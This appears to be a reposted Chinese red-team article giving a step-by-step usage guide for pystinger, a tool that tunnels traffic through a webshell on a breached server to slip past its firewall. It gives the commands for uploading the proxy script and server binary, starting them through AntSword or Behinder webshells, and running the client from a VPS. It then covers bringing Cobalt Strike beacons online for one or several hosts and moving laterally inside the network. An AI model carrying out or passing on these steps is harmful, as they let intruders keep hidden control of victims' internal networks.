Pystinger – 使用Webshell绕过防火墙进行流量转发

六六传世原创文章投稿奖励计划

文章来源:Khan安全攻防实验室

pystinger通过webshell实现内网SOCK4代理,端口映射,可直接用于metasploit-framework,viper,cobalt strike上线。

主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本。

     假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

1 . SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 如下输出表示成功

  • root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理

  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

2 . cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1

  • 生成payload,上传到主机运行后即可上线

3 . cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8

  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe 192.168.3.11启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)

  • 生成payload,上传到主机运行后即可上线

  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

4 . 定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

--header "Authorization: XXXXXX,Cookie: XXXXX"

  • 如果webshell需要通过代理访问,可通过--proxy设置代理

--proxy "socks5:127.0.0.1:1081"

stinger_serverstinger_client

  • windows

  • linux

proxy.jsp(x)/php/aspx

  • php7.2

  • tomcat7.0

  • iis8.0
